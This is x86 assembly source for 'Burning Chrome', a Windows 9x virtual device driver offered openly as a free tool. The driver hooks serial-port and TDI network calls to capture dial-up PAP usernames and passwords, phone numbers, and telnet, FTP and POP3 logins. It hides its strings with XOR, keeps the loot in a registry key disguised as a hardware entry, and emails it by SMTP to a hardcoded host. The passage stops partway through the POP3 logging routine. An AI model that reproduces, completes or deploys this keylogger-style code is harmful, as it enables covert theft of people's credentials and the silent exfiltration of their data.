    ;---------------------------------------------------------------------------;
    ; Burning Chrome version 0.9 by Solar Eclipse <solareclipse@phreedom.org>   ;
    ;                                                                           ;
    ; This program is free. Feel free to use it any way you want. If you break  ;
    ; the law and get caught, don't come whining to me. If you modify the code, ;
    ; please be a nice guy and send me a copy.                                  ;
    ; And don't forget to visit the cool guys at http://www.phreedom.org/       ;
    ;---------------------------------------------------------------------------;
    
    .386p
    
    ;---------------------------------------------------------------------------;
    ; Includes                                                                  ;
    ;---------------------------------------------------------------------------;
    
    INCLUDE VMM.INC
    INCLUDE VCOMM.INC
    INCLUDE VMMREG.INC
    
    ;INCLUDE DEBUG.INC               ; Temporary
    
    VTDI_Device_ID    equ 0488h
    
    INCLUDE VTDI.INC
    
    ;---------------------------------------------------------------------------;
    ; Some constants                                                            ;
    ;---------------------------------------------------------------------------;
    
    MAX_BUFFER_LENGTH   equ 1500
    MAIL_BUFFER_LENGTH equ 10000
    
    IP_1            equ 192         ; 192.168.0.3:25
    IP_2            equ 168
    IP_3            equ 0
    IP_4            equ 3
    PORT            equ 25
    
    CHROME_Init_Order equ 0C000h + VNETBIOS_Init_Order
    
    ;---------------------------------------------------------------------------;
    ; EBIOS_DDB                                                                 ;
    ;---------------------------------------------------------------------------;
    
    Declare_Virtual_Device EBIOS, 1, 0, Control_Proc, EBIOS_Device_ID, CHROME_Init_Order, , ,
    
    ;---------------------------------------------------------------------------;
    ; Locked Data Segment                                                       ;
    ;---------------------------------------------------------------------------;
    
    VxD_LOCKED_DATA_SEG
    
    ; ASCII data (xored)
    
    ASCIIStart              equ $
    
    OurKey                  db 98,75,88,78,93,75,88,79,118,110,79,89,73,88,67,90,94,67,69,68,118
                            db 121,83,89,94,79,71,118,122,79,88,67,90,66,79,88,75,70,105,69,71,90
                            db 69,68,79,68,94,99,68,94,79,88,73,69,68,68,79,73,94,42
    ;                          'Hardware\Description\System\PeripheralComponentInterconnect', 0
    CurrentVersionSubKey    db 121,69,76,94,93,75,88,79,118,103,67,73,88,69,89,69,76,94,118,125,67
                            db 68,78,69,93,89,118,105,95,88,88,79,68,94,124,79,88,89,67,69,68,42
    ;                          'Software\Microsoft\Windows\CurrentVersion', 0
    sRegisteredOwner        db 120,79,77,67,89,94,79,88,79,78,101,93,68,79,88,42
    ;                          'RegisteredOwner', 0
    sRegisteredOrganization db 120,79,77,67,89,94,79,88,79,78,101,88,77,75,68,67,80,75,94,67,69,68,42
    ;                          'RegisteredOrganization', 0
    sVersionNumber          db 124,79,88,89,67,69,68,100,95,71,72,79,88,42
    ;                          'VersionNumber', 0
    sSystemRoot             db 121,83,89,94,79,71,120,69,69,94,42
    ;                          'SystemRoot', 0
    TCPName                 db 103,121,126,105
    Letter_P                db 122
    Zero                    db 42
    ;                          'MSTCP', 0
    MailData_1              db 98,111,102,101,10,70,69,73,75,70,66,69,89,94,39,32
    ;                          'HELO localhost', 13, 10
                            db 103,107,99,102,10,108,120,101,103,16,22,82,82,82,106,82,82,82,4,73,69,71,20,39,32
    ;                          'MAIL FROM:<xxx@xxx.com>', 13, 10
                            db 120,105,122,126,10,126,101,16,22,82,82,82,106,82,82,82,4,73,69,71,20,39,32
    ;                          'RCPT TO:<xxx@xxx.com>', 13, 10
                            db 110,107,126,107,39,32
    ;                          'DATA', 13, 10
                            db 121,95,72,64,79,73,94,16,10
    ;                          'Subject: '
    
    cbMailData_1            equ $-MailData_1
    
    MailData_2              db 39,32
    ;                          13, 10
                            db 4,39,32
    ;                          '.', 13, 10
                            db 123,127,99,126,39,32,42
    ;                          'QUIT', 13, 10, 0
    
    cbMailData_2            equ $-MailData_2
    
    ASCIILength             equ $-ASCIIStart
    
    ; This is for the hooks
    
    pOpenComm_PrevHook      dd 0    ; Addresses of previous service handlers
    pWriteComm_PrevHook     dd 0
    pCloseComm_PrevHook     dd 0
    
    TdiConnect_PrevAddr     dd 0
    TdiSend_PrevAddr        dd 0
    TdiDisconnect_PrevAddr  dd 0
    TdiCloseConnection_PrevAddr dd 0
    
    ; Flags
    
    Disable                 db 0
    
    TraceType               db 0 ; 0 - nothing, 1 - modem, 2 - telnet, 3 - ftp,
                                 ; 4 - pop3
    TracedHandle            dd 0
    LogProc                 dd 0 ; Address of log processing proc
    
    TraceLetters            equ $  ; Table with letters for each different
    NOTHING                 db 'N' ; type of trace. Indexed with TraceType
    MODEM                   db 'M'
    TELNET                  db 'T'
    FTP                     db 'F'
    POP3                    db 'P'
    
    IP                      dd 0
    ValueName               dd 0
    
    pBuffer                 dd 0
    BufferSize              dd 0
    Index                   dd 0
    
    MailPointer             dd 0
    
    hOurKey                 dd 0
    OurSubKey               db "0", 0
    hOurSubKey              dd 0
    
    OldCallback             dd 0
    
    dwTemp_1                dd 0
    dwTemp_2                dd 0
    
    TdiDispatchTable        dd 0
    
    AddressHandle           dd 0
    ConnectionContext       dd 0
    
    Request                 dd 0            ; TDI_REQUEST structure
    RequestNotifyObject     dd offset32 TdiMail_Callback
    RequestContext          dd 0
    TdiStatus               dd 0
    
    TdiAddressOption        db 1            ; TDI_ADDRESS_OPTION_REUSE
                            db 0            ; TDI_OPTION_EOL
    
    TransportAddress        dd 1            ; TAAddressCount
    
                            dw 14           ; Address length
                            dw 2            ; Address type - TDI_ADDRESS_IP
    
                            dw 0            ; sinport
                            dd 0            ; sin_addr (0.0.0.0)
                            dd 0            ; sin_zero
                            dd 0
    
    Context                 dd 0            ; Context for TdiOpenConnection
    
    RequestAddr             dd 0            ; UserDataLength
                            dd 0            ; UserData
                            dd 0            ; OptionsLength
                            dd 0            ; Options
                            dd 22           ; RemoteAddressLength
                            dd offset32 RemoteAddress ; *RemoteAddress
    
    RemoteAddress           dd 1            ; TAddressCount
    
                            dw 14           ; Address length
                            dw 2            ; Address type - TDI_ADDRESS_IP
    
                            db 0            ; sinport (fuckin net order!!!)
                            db PORT
                            db IP_1         ; sin_addr (192.168.0.1)
                            db IP_2
                            db IP_3
                            db IP_4
                            dd 0            ; sin_zero
                            dd 0
    
    NDISBuffer              dd 0            ; Next
    pMailBuffer             dd 0            ; Data address
                            dd 0            ; Pool
    SendDataLength          dd 0            ; Length
                            dd 'FUBN'       ; Signature "NBUF"
    
    VxD_LOCKED_DATA_ENDS
    
    ;---------------------------------------------------------------------------;
    ; Locked Code Segment                                                       ;
    ;---------------------------------------------------------------------------;
    
    VxD_LOCKED_CODE_SEG
    
    ;---------------------------------------------------------------------------;
    ; _VCOMM_OpenComm hook procedure                                            ;
    ;---------------------------------------------------------------------------;
    ;                                                                           ;
    ; Used variables         Read    Write                                      ;
    ;                                                                           ;
    ; Disable                  x                                                ;
    ; TraceType                x       x                                        ;
    ; TracedHandle             x       x                                        ;
    ; Index                            x                                        ;
    ; pOpenComm_PrevHook       x                                                ;
    ;                                                                           ;
    ;---------------------------------------------------------------------------;
    
    BeginProc OpenComm_Hook, HOOK_PROC, pOpenComm_PrevHook, LOCKED
    
            push ebp
            mov ebp, esp
    
    ; ebp-04h -> saved eax (from pushad)
    ; ebp+00h -> saved ebp
    ; ebp+04h -> return address
    ; ebp+08h -> pPortName
    ; ebp+0Ch -> VMId
    
            pushad
            pushfd
    
            cmp Disable, 1                  ; Is hook operation disabled?
            jz OpenComm_Hook_End
    
            cmp TraceType, 0                ; Is any tracing in progress?
            jne OpenComm_Hook_End           ; if yes - abort
    
            mov esi, dword ptr [ebp+08h]    ; ds:[esi] = pPortName
            cmp word ptr [esi], "OC"        ; Continue only if port name is "COM"
            jne OpenComm_Hook_End
    
            push [ebp+0Ch]                  ; Push VMId
            push [ebp+08h]                  ; Push pPortName
            call [pOpenComm_PrevHook]       ; Call the old handler
    
            add esp, 8h
    
            mov [ebp-04h], eax              ; blah...
    
            cmp eax, -31                    ; If there is error opening the port
            jae Dont_Trace_Comm
    
            mov TracedHandle, eax           ; Save the comm handle we are tracing
    
            xor eax, eax                    ; Reset the buffer
            mov Index, eax
    
            inc al                          ; TraceType = 1 (modem trace)
            mov TraceType, al
    
            mov BufferSize, 1024
    
            mov LogProc, offset32 ModemLog
    
    Dont_Trace_Comm:
            popfd
            popad
    
            pop ebp
            ret                             ; Return to caller
    
    OpenComm_Hook_End:
            popfd
            popad
    
            pop ebp
    
            jmp [pOpenComm_PrevHook]       ; Chain to previous hook
    
    EndProc OpenComm_Hook
    
    ;---------------------------------------------------------------------------;
    ; _VCOMM_WriteComm hook procedure                                           ;
    ;---------------------------------------------------------------------------;
    ;                                                                           ;
    ; Used variables         Read    Write                                      ;
    ;                                                                           ;
    ; Disable                  x                                                ;
    ; TraceType                x                                                ;
    ;                                                                           ;
    ; Calls: Send_Common                                                        ;
    ;---------------------------------------------------------------------------;
    
    BeginProc WriteComm_Hook, HOOK_PROC, pWriteComm_PrevHook, LOCKED
    
    
            push ebp
            mov ebp, esp
    
    ; ebp+00h -> saved ebp
    ; ebp+04h -> return address
    ; ebp+08h -> hPort
    ; ebp+0Ch -> achBuffer
    ; ebp+10h -> cchRequested
    ; ebp+14h -> cchWritten
    
            pushfd                          ; save flags on stack
            pushad                          ; save registers on stack
    
            xor eax, eax
    
            cmp Disable, al                 ; Is hook operation disabled?
            jnz WriteComm_Hook_End
    
            cmp TraceType, 1                ; Is this a modem trace?
            jnz WriteComm_Hook_End
    
    ;---------------------------------------------------------------------------;
    ; The following code is disabled due to the strange behavior of Windows.    ;
    ; It opens COMx and sends AT commands using this connection. But when the   ;
    ; modem connects, it opens another connection, which name varies and uses   ;
    ; it to send PPP traffic. That's why after opening the COMx connection, we  ;
    ; will log EVERY byte sent through EVERY connection, until the COMx is      ;
    ; closed or the log limit is exceeded.                                      ;
    ;                                                                           ;
    ;        mov eax, TracedHandle           ; Are we tracing our connection?   ;
    ;        cmp eax, [ebp+08h]                                                 ;
    ;        jne WriteComm_Hook_End                                             ;
    ;---------------------------------------------------------------------------;
    
            mov esi, dword ptr [ebp+0Ch]    ; esi = achBuffer (source)
    
            mov eax, [ebp+10h]              ; eax = cchRequested
    
            call Send_Common
    
    WriteComm_Hook_End:
            popad
            popfd
    
            pop ebp
    
            jmp [pWriteComm_PrevHook]       ; Chain to previous hook
    
    EndProc WriteComm_Hook
    
    ;---------------------------------------------------------------------------;
    ; _VCOMM_CloseComm hook procedure                                           ;
    ;---------------------------------------------------------------------------;
    ;                                                                           ;
    ; Used variables         Read    Write                                      ;
    ;                                                                           ;
    ; Disable                  x                                                ;
    ; TraceType                x       x                                        ;
    ; TracedHandle             x                                                ;
    ;                                                                           ;
    ;---------------------------------------------------------------------------;
    
    BeginProc CloseComm_Hook, HOOK_PROC, pCloseComm_PrevHook, LOCKED
    
            push ebp
            mov ebp, esp
    
    ; ebp+00h -> saved ebp
    ; ebp+04h -> return address
    ; ebp+08h -> hPort
    
            pushfd                          ; save flags on stack
            pushad                          ; save registers on stack
    
            cmp Disable, 1                  ; Is hook operation disabled?
            jz CloseComm_Hook_End
    
            cmp TraceType, 1                ; Is this a modem trace?
            jnz CloseComm_Hook_End
    
            mov eax, TracedHandle           ; If hPort = TracedHandle stop tracing
            cmp eax, [ebp+08h]
            jne CloseComm_Hook_End
    
            mov TraceType, 0                ; Stop tracing
    
    CloseComm_Hook_End:
            popad
            popfd
            pop ebp
    
            jmp [pCloseComm_PrevHook]       ; Chain to previous hook
    
    EndProc CloseComm_Hook
    
    ;---------------------------------------------------------------------------;
    ; TdiConnect hook procedure                                                 ;
    ;---------------------------------------------------------------------------;
    ;                                                                           ;
    ; Used variables         Read    Write                                      ;
    ;                                                                           ;
    ; Disable                  x                                                ;
    ; TraceType                x       x                                        ;
    ; TracedHandle                     x                                        ;
    ; Index                            x                                        ;
    ; BufferSize                       x                                        ;
    ; IP                               x                                        ;
    ; OldCallback                      x                                        ;
    ;                                                                           ;
    ; Calls: Sendmail, TdiConnect_Callback                                      ;
    ;---------------------------------------------------------------------------;
    
    BeginProc TdiConnect_Hook
    
            push ebp
            mov ebp, esp
    
    ; ebp-04h -> saved eax (from pushad)
    ; ebp+00h -> saved ebp
    ; ebp+04h -> return address
    ; ebp+08h -> *Request
    ; ebp+0Ch -> *TO
    ; ebp+10h -> *RequestAddr
    ; ebp+14h -> *ReturnAddr
    
            pushad
            pushfd
    
            cmp Disable, 1                  ; Is hook operation disabled?
            jz TdiConnect_Hook_Jmp
    
            cmp TraceType, 0                ; Is any tracing in progress?
            jne TdiConnect_Hook_Jmp         ; if yes - abort
    
            mov edi, [ebp+10h]              ; edi = *RequestAddr
            mov edi, [edi+14h]              ; edi = *RemoteAddr
            cmp word ptr [edi+06h], 2       ; TDI_ADDRESS_TYPE_IP
            jne TdiConnect_Hook_Jmp
    
            xor eax, eax                    ; Reset the index
            mov Index, eax
    
            mov ax, [edi+08h]               ; ax = sin_port
            cmp ax, 1500h                   ; ftp?
            je Start_Ftp_log
            cmp ax, 1700h                   ; telnet?
            je Start_Telnet_log
            cmp ax, 6E00h                   ; pop3?
            je Start_Pop3_log
    
            cmp ax, 5000h                   ; http?
            jne TdiConnect_Hook_Jmp
    
            call Sendmail
            jmp TdiConnect_Hook_Jmp
    
    
    Start_Telnet_log:
            mov TraceType, 2
            mov LogProc, offset32 TelnetLog
            mov BufferSize, 500
            jmp Start_Log
    
    Start_Ftp_log:
            mov TraceType, 3
            mov LogProc, offset32 FtpLog
            mov BufferSize, 100
            jmp Start_Log
    
    Start_Pop3_log:
            mov TraceType, 4
            mov LogProc, offset32 Pop3Log
            mov BufferSize, 100
    
    Start_Log:
            mov ebx, [edi+0Ah]              ; ebx = in_addr
            mov IP, ebx                     ; Save the IP
    
            mov edi, [ebp+08h]              ; edi = *Request
            mov eax, [edi]                  ; Request.ConnectionContext
            mov TracedHandle, eax
    
            mov eax, [edi+04h]              ; Save old callback
            mov OldCallback, eax
            mov [edi+04h], offset32 TdiConnect_Callback ; Hook it
    
            push edi
    
            push [ebp+14h]
            push [ebp+10h]
            push [ebp+0Ch]
            push [ebp+08h]
            call [TdiConnect_PrevAddr]      ; Chain to previous hook
            add esp, 10h
    
            mov [ebp-04h], eax              ; Save the return value
    
            pop edi                         ; edi = *Request
            mov ebx, OldCallback
            mov [edi+04h], ebx              ; Restore old callback
    
            cmp eax, 0FFh
            je TdiConnect_Hook_End
    
            or eax, eax
            je TdiConnect_Hook_End
    
            ; There is some error, don't trace
    
            mov TraceType, 0
    
    TdiConnect_Hook_End:
            popfd
            popad
    
            pop ebp
    
            ret
    
    TdiConnect_Hook_Jmp:
            popfd
            popad
    
            pop ebp
    
            jmp [TdiConnect_PrevAddr]       ; Chain to previous hook
    
    EndProc TdiConnect_Hook
    
    
    ;---------------------------------------------------------------------------;
    ; TdiConnect_Callback hook procedure                                        ;
    ;---------------------------------------------------------------------------;
    ;                                                                           ;
    ; Used variables         Read    Write                                      ;
    ;                                                                           ;
    ; TraceType                x       x                                        ;
    ; OldCallback              x                                                ;
    ;                                                                           ;
    ;---------------------------------------------------------------------------;
    
    BeginProc TdiConnect_Callback
    
            push ebp
            mov ebp, esp
    
    ; ebp+00h -> saved ebp
    ; ebp+04h -> return address
    ; ebp+08h -> *Context
    ; ebp+0Ch -> FinalStatus
    ; ebp+10h -> ByteCount
    
            pushad
            pushfd
    
            mov eax, [ebp+0Ch]
            or eax, eax
            je TdiConnect_Callback_End
    
            mov TraceType, 0
    
    TdiConnect_Callback_End:
            popfd
            popad
    
            pop ebp
            jmp [OldCallback]
    
    EndProc TdiConnect_Callback
    
    ;---------------------------------------------------------------------------;
    ; TdiSend hook procedure                                                    ;
    ;---------------------------------------------------------------------------;
    ;                                                                           ;
    ; Used variables         Read    Write                                      ;
    ;                                                                           ;
    ; Disable                  x                                                ;
    ; TraceType                x                                                ;
    ; TracedHandle             x                                                ;
    ;                                                                           ;
    ; Calls: Send_Common                                                        ;
    ;---------------------------------------------------------------------------;
    
    BeginProc TdiSend_Hook
    
            push ebp
            mov ebp, esp
    
    ; ebp+00h -> saved ebp
    ; ebp+04h -> return address
    ; ebp+08h -> *Request
    ; ebp+0Ch -> Flags
    ; ebp+10h -> SendLength
    ; ebp+14h -> *SendBuffer
    
            pushfd
            pushad
    
            cmp Disable, 1                  ; Is hook operation disabled?
            je TdiSend_Hook_End
    
            cmp TraceType, 1                ; Is this a TCP trace?
            jbe TdiSend_Hook_End
    
            mov edi, [ebp+08h]              ; edi = *Request
            mov eax, TracedHandle
            cmp eax, [edi]                  ; Are we tracing THIS ConnectionContext?
            jne TdiSend_Hook_End
    
            mov edi, [ebp+14h]              ; edi = *SendBuffer
            mov esi, [edi+04h]              ; esi = source buffer
    
            mov eax, [edi+0Ch]              ; eax = Length
    
            call Send_Common
    
    TdiSend_Hook_End:
            popad
            popfd
    
            pop ebp
    
            jmp [TdiSend_PrevAddr]          ; Chain to previous hook
    
    EndProc TdiSend_Hook
    
    ;---------------------------------------------------------------------------;
    ; TdiDisconnect hook procedure                                              ;
    ;---------------------------------------------------------------------------;
    ;                                                                           ;
    ; Used variables         Read    Write                                      ;
    ;                                                                           ;
    ; Disable                  x                                                ;
    ; TraceType                x       x                                        ;
    ; TracedHandle             x                                                ;
    ;                                                                           ;
    ;---------------------------------------------------------------------------;
    
    BeginProc TdiDisconnect_Hook
    
            push ebp
            mov ebp, esp
    
    ; ebp+00h -> saved ebp
    ; ebp+04h -> return address
    ; ebp+08h -> *Request
    ; ebp+0Ch -> *TO
    ; ebp+10h -> Flags
    ; ebp+14h -> *DisConnInfo
    ; ebp+18h -> *ReturnInfo
    
            pushfd                          ; save flags on stack
            pushad                          ; save registers on stack
    
            cmp Disable, 1                  ; Is hook operation disabled?
            jz TdiDisconnect_Hook_End
    
            cmp TraceType, 1                ; Is this a TCP trace?
            jbe TdiDisconnect_Hook_End
    
            mov eax, TracedHandle           ; If the traced handle is being closed
            mov edi, [ebp+08h]              ; edi = *Request
            cmp eax, [edi]                  ; [edi] = ConnectionContext
            jne TdiDisconnect_Hook_End
    
    ; We are disconnected before the buffer is full. We will reset the BufferSize
    ; to the current and process the buffer anyway.
    
            mov eax, Index
            mov BufferSize, eax
            xor eax, eax
            call Send_Common
    
    ; Don't need to stop tracing, because Send_Common should do this.
    
    TdiDisconnect_Hook_End:
            popad
            popfd
            pop ebp
    
            jmp [TdiDisconnect_PrevAddr]    ; Chain to previous hook
    
    EndProc TdiDisconnect_Hook
    
    ;---------------------------------------------------------------------------;
    ; TdiCloseConnection hook procedure                                         ;
    ;---------------------------------------------------------------------------;
    ;                                                                           ;
    ; Used variables         Read    Write                                      ;
    ;                                                                           ;
    ; Disable                  x                                                ;
    ; TraceType                x       x                                        ;
    ; TracedHandle             x                                                ;
    ;                                                                           ;
    ;---------------------------------------------------------------------------;
    
    BeginProc TdiCloseConnection_Hook
    
            push ebp
            mov ebp, esp
    
    ; ebp+00h -> saved ebp
    ; ebp+04h -> return address
    ; ebp+08h -> *Request
    
            pushfd                          ; save flags on stack
            pushad                          ; save registers on stack
    
            cmp Disable, 1                  ; Is hook operation disabled?
            jz TdiCloseConnection_Hook_End
    
            cmp TraceType, 1                ; Is this an IP trace?
            jbe TdiCloseConnection_Hook_End
    
            mov eax, TracedHandle           ; If the traced handle is being closed
            mov edi, [ebp+08h]              ; edi = *Request
            cmp eax, [edi]                  ; [edi] = ConnectionContext
            jne TdiCloseConnection_Hook_End
    
    ; We are disconnected before the buffer is full. We will reset the BufferSize
    ; to the current and process the buffer anyway.
    
            mov eax, Index
            mov BufferSize, eax
            xor eax, eax
            call Send_Common
    
    ; Don't need to stop tracing, because Send_Common should do this.
    
    TdiCloseConnection_Hook_End:
            popad
            popfd
            pop ebp
    
            jmp [TdiCloseConnection_PrevAddr]    ; Chain to previous hook
    
    EndProc TdiCloseConnection_Hook
    
    
    ;---------------------------------------------------------------------------;
    ; Send_Common procedure                                                     ;
    ;---------------------------------------------------------------------------;
    ; Input:                                                                    ;
    ;                                                                           ;
    ; eax - length of data                                                      ;
    ; esi - data source                                                         ;
    ;---------------------------------------------------------------------------;
    ;                                                                           ;
    ; Used variables         Read    Write                                      ;
    ;                                                                           ;
    ; BufferSize               x                                                ;
    ; Index                    x        x                                       ;
    ; pBuffer                  x                                                ;
    ; ValueName                         x                                       ;
    ; dwTemp_1                          x                                       ;
    ; hOurKey                  x                                                ;
    ; TraceType                         x                                       ;
    ;                                                                           ;
    ; Calls: ModemLog, TelnetLog, FtpLog, Pop3Log                               ;
    ;---------------------------------------------------------------------------;
    
    BeginProc Send_Common
    
            mov ecx, BufferSize
            mov ebx, Index                  ; ebx = Index
            sub ecx, ebx                    ; ecx = free space in buffer
    
            mov edi, pBuffer                ; edi = pBuffer+Index (destination)
            add edi, Index
    
            cmp ecx, eax
            jbe Do_Copy_Buffer              ; If the space in the buffer is not
                                            ; enough, don't overrun it
    
            mov ecx, eax                    ; Else, copy cchRequested bytes
    
    Do_Copy_Buffer:
            add ebx, ecx                    ; Increment the Index
            mov Index, ebx
    
            rep movsb                       ; Copy it in the buffer
    
            mov ecx, BufferSize
            jz Send_Common_Abort            ; Stop tracing
            cmp ebx, ecx                    ; If Index < BufferSize end operation
            jb Send_Common_End
    
    ; The buffer is full, precess the log and probably save it in the registry
    
            mov byte ptr [edi], 0           ; Null-terminate the log
    
            inc edi                         ; Buffer for the value name
            push edi                        ; We need to save this, because
                                            ; we will store two bytes in front
                                            ; of the string, returned by LogProc
    
            xor ebx, ebx
            mov bl, TraceType
            mov esi, TraceLetters
            mov al, byte ptr [esi+ebx]
            mov byte ptr [edi], al          ; Store a trace identifier
            inc edi
    
            mov byte ptr [edi], 20h         ; Store a space
            inc edi
    
            mov ValueName, edi
    
            call LogProc                    ; Process the log
    
            ; At this point ALL registers are fucked up, except eax
    
            pop ValueName
    
            test eax, eax                   ; Is there an error (eax=1)?
            jnz Send_Common_Abort
    
    Get_Reg_Value:
            ; Try to get the value with the same name
    
            xor ebx, ebx
            mov dwTemp_1, ebx
            push offset32 dwTemp_1          ; cbData
            push ebx                        ; lpszData
            push ebx                        ; fdwType
            push ebx                        ; dwReserved
            push ValueName                  ; lpszValueName
            push hOurKey                    ; phKey
    
            VMMCall _RegQueryValueEx        ; Get the value of the key
            add esp, 18h
    
            cmp eax, ERROR_FILE_NOT_FOUND   ; If key exists
            jne Send_Common_Abort
    
            ; Save the result in the registry
    
            push BufferSize                 ; cbData
            push pBuffer                    ; lpszData
            push REG_SZ                     ; fdwType
            push 0                          ; dwReserved
            push ValueName                  ; lpszValueName
            push hOurKey                    ; phKey
    
            VMMCall _RegSetValueEx          ; Set the value of the key
            add esp, 18h
    
    ; Store 'P' as the default value - flag that there is something to email
    
            push 1                          ; cbData
            push offset32 Letter_P          ; lpszData
            push REG_SZ                     ; fdwType
            push 0                          ; lpSubKey
            push hOurKey
    
            VMMCall _RegSetValue
            add esp, 14h
    
    Send_Common_Abort:
            mov TraceType, 0
    
    Send_Common_End:
            ret
    
    EndProc Send_Common
    
    ;---------------------------------------------------------------------------;
    ; ModemLog procedure                                                        ;
    ;---------------------------------------------------------------------------;
    ;                                                                           ;
    ; Used variables         Read    Write                                      ;
    ;                                                                           ;
    ; pBuffer                  x                                                ;
    ; BufferSize               x                                                ;
    ; ValueName                x                                                ;
    ;                                                                           ;
    ; Notes: Fucks off all registers, except EAX                                ;
    ; Returns: eax = 0 - ok, 1 = error                                          ;
    ;---------------------------------------------------------------------------;
    
    BeginProc ModemLog
    
    ; Try to find the dialed number and copy it as ValueName
    
            mov edi, pBuffer                ; Source
    
            xor ecx, ecx
    
    FindATD_Loop:
            cmp word ptr [edi], "TA"        ; Search for ATD
            jne NotATD
            cmp byte ptr [edi+2], "D"
            jne NotATD
    
            add edi, 3
            jmp ATDFound
    
    NotATD:
            inc edi
            inc ecx
            cmp ecx, BufferSize
            jae ModemLog_Abort              ; ATD not found in the buffer - abort
            jmp FindATD_Loop
    
    ATDFound:
            mov edx, edi                    ; edx = beginning of phone number
            mov esi, edi
            sub ecx, BufferSize
            neg ecx                         ; ecx = size of the rest of buffer
            mov ebx, ecx
    
            mov al, 0Dh                     ; Search for <CR>
            repne scasb
            jnz ModemLog_Abort              ; <CR> not found after ATD command
    
            sub edi, edx
            mov ecx, edi                    ; ecx = phone number length
    
            sub ebx, ecx                    ; ebx = size of the rest of buffer
    
            mov esi, edx                    ; beginning of phone number
            mov edi, ValueName
            rep movsb                       ; Store the phone number as value name
    
            mov edx, edi                    ; edx = end of phone number
    
            cmp byte ptr [esi], '~'         ; Is PPP directly started (PAP auth)?
            jne Tilda_Loop
    
            ; It's PAP
    
    PAP_Loop:
            cmp dword ptr [esi], 0123C07Eh  ; Is it PAP packet?
            je PAP_Found
    
            inc esi
            dec ebx
            jnz PAP_Loop
    
            jmp ModemLog_Abort              ; This shouldn't happen, but anyway...
                                            ; (either no auth or CHAP)
    
    PAP_Found:
    
    ; The PAP packet has the follwing structure:
    ;
    ; | 7E | C0 23 | 01 | xx | xx xx |  ULen  | U S E R |  PLen  | P A S S |
    ; |    |       |    |    |       |        |         |        |         |
    ; |PPP |  PAP  |code| id |length |user len|username |pass len|password |
    ;
    
            add esi, 7                      ; Point to the Username length field
            xor ecx, ecx
            mov cl, byte ptr [esi]          ; Username length
            inc esi
            rep movsb                       ; Copy username
    
            mov ax, 0A0Dh                   ; Save a <CR> between username & pass
            stosw
    
            mov cl, byte ptr [esi]          ; Password length
            inc esi
            rep movsb                       ; Copy password
    
            jmp ModemLog_Final
    
    Tilda_Loop:
            movsb                           ; Copy until ~ found (until PPP start)
    
            dec ebx
            jz Tilda_Not_Found
    
            cmp byte ptr [esi], '~'
            jne Tilda_Loop
    
    ModemLog_Final:
            xor eax, eax
            stosb                           ; Null terminate the value name
            ret
    
    Tilda_Not_Found:
            mov byte ptr [edx], 0           ; Null terminate after the phone num
            ret
    
    ModemLog_Abort:
            xor eax, eax                    ; eax = 1 (error)
            inc eax
            ret
    
    EndProc ModemLog
    
    ;---------------------------------------------------------------------------;
    ; TelnetLog procedure                                                       ;
    ;---------------------------------------------------------------------------;
    ;                                                                           ;
    ; Used variables         Read    Write                                      ;
    ;                                                                           ;
    ; pBuffer                  x                                                ;
    ; BufferSize               x                                                ;
    ; ValueName                x                                                ;
    ;                                                                           ;
    ; Calls: DWord2Str                                                          ;
    ; Returns: eax = 0 - ok, 1 = error                                          ;
    ;                                                                           ;
    ; Notes: Fucks off all registers, except EAX                                ;
    ;---------------------------------------------------------------------------;
    
    BeginProc TelnetLog
    
            ; Convert the IP to string and store it as value name
    
            mov ebx, IP
            mov edi, ValueName
    
            call DWordToStr                 ; Save the IP as the value name
    
            mov ax, 0A0Dh                   ; Save a <CR><LF>
            stosw
    
            mov esi, edi                    ; esi = address to write
    
            mov edi, pBuffer
            mov ecx, BufferSize
            mov ebx, ecx
    
            repne scasb                     ; Search for <CR>
            jne CR_Sequence_NotFound
    
            repne scasb                     ; Search for second <CR>
            jne CR_Sequence_NotFound
    
            std                             ; Decrement esi & edi
    
            sub ebx, ecx                    ; ebx - size to the beginning of buffer
            mov ecx, ebx
    
            inc ecx                         ; See the note bellow
            inc ecx
    
            xor al, al
            repne scasb
    
    ; If NULL is found, edi points to the byte before it and we need to do
    ; inc edi twice. Else, edi would point to the first char in the buffer
    ; and we don't need to inc it.
    ; That's why we have done 'inc ecx' twice a couple of lines before.
    ; This way, if NULL is not found, edi points to the first-2 char
    ; and we can (and must) do inc edi two times.
    
            inc edi
            inc edi
    
            ; Actually it doesn't matter if NULL is found. Just copy the rest.
    
            cld                             ; Increment esi & edi
    
            sub ebx, ecx                    ; ebx - size of username/pass string
            mov ecx, ebx
    
            xor esi, edi                    ; Swap esi & edi (Preslav Nakow rulez)
            xor edi, esi
            xor esi, edi
    
            rep movsb                       ; Copy the user/pass to value name
    
            xor eax, eax
            stosb                           ; Null terminate the value name
    
            mov edi, pBuffer
            mov ecx, BufferSize
    
    Null_Loop:
            repnz scasb
            jnz End_Null_Loop
    
            mov byte ptr [edi-1], '.'
            or ecx, ecx
            jz End_Null_Loop
            jmp Null_Loop
    
    End_Null_Loop:
    
            ret
    
    CR_Sequence_NotFound:
            mov byte ptr [esi], 0           ; Null terminate after the IP
            ret
    
    EndProc TelnetLog
    
    ;---------------------------------------------------------------------------;
    ; FtpLog procedure                                                          ;
    ;---------------------------------------------------------------------------;
    ; Used variables         Read    Write                                      ;
    ;                                                                           ;
    ; pBuffer                  x                                                ;
    ; BufferSize               x                                                ;
    ; ValueName                x                                                ;
    ;                                                                           ;
    ; Calls: Pop3Log, DWord2Str                                                 ;
    ; Returns: eax = 0 - ok, 1 = error                                          ;
    ;                                                                           ;
    ; Notes: Fucks off all registers, except EAX                                ;
    ;---------------------------------------------------------------------------;
    
    BeginProc FtpLog
    
            call Pop3Log                    ; Process exactly like pop3
            test eax, eax
            jnz FtpLog_End
    
            mov edi, ValueName
            add edi, 10                     ; edi points to the username+1
    
            cmp dword ptr [edi+4], 'suom'   ; Is the username 'anonymous'?
            jne FtpLog_End
            cmp dword ptr [edi], 'ynon'
            jne FtpLog_End
    
    FtpLog_Abort:
            xor eax, eax                    ; eax = 1 (error)
            inc eax
            ret
    
    FtpLog_End:
            ret                             ; eax is set and the value name is
                                            ; already null-terminated
    
    EndProc FtpLog
    
    ;---------------------------------------------------------------------------;
    ; Pop3Log procedure                                                         ;
    ;---------------------------------------------------------------------------;
    ; Used variables         Read    Write                                      ;
    ;                                                                           ;
    ; pBuffer                  x                                                ;
    ; BufferSize               x                                                ;
    ; ValueName                x                                                ;
    ;                                                                           ;
    ; Calls: DWord2Str                                                          ;
    ; Returns: eax = 0 - ok, 1 = error                                          ;
    ;                                                                           ;
    ; Notes: Fucks off all registers, except EAX                                ;
    ;---------------------------------------------------------------------------;
    
    BeginProc Pop3Log
    
            ; Convert the IP to string and store it as value name
    
            mov ebx, IP
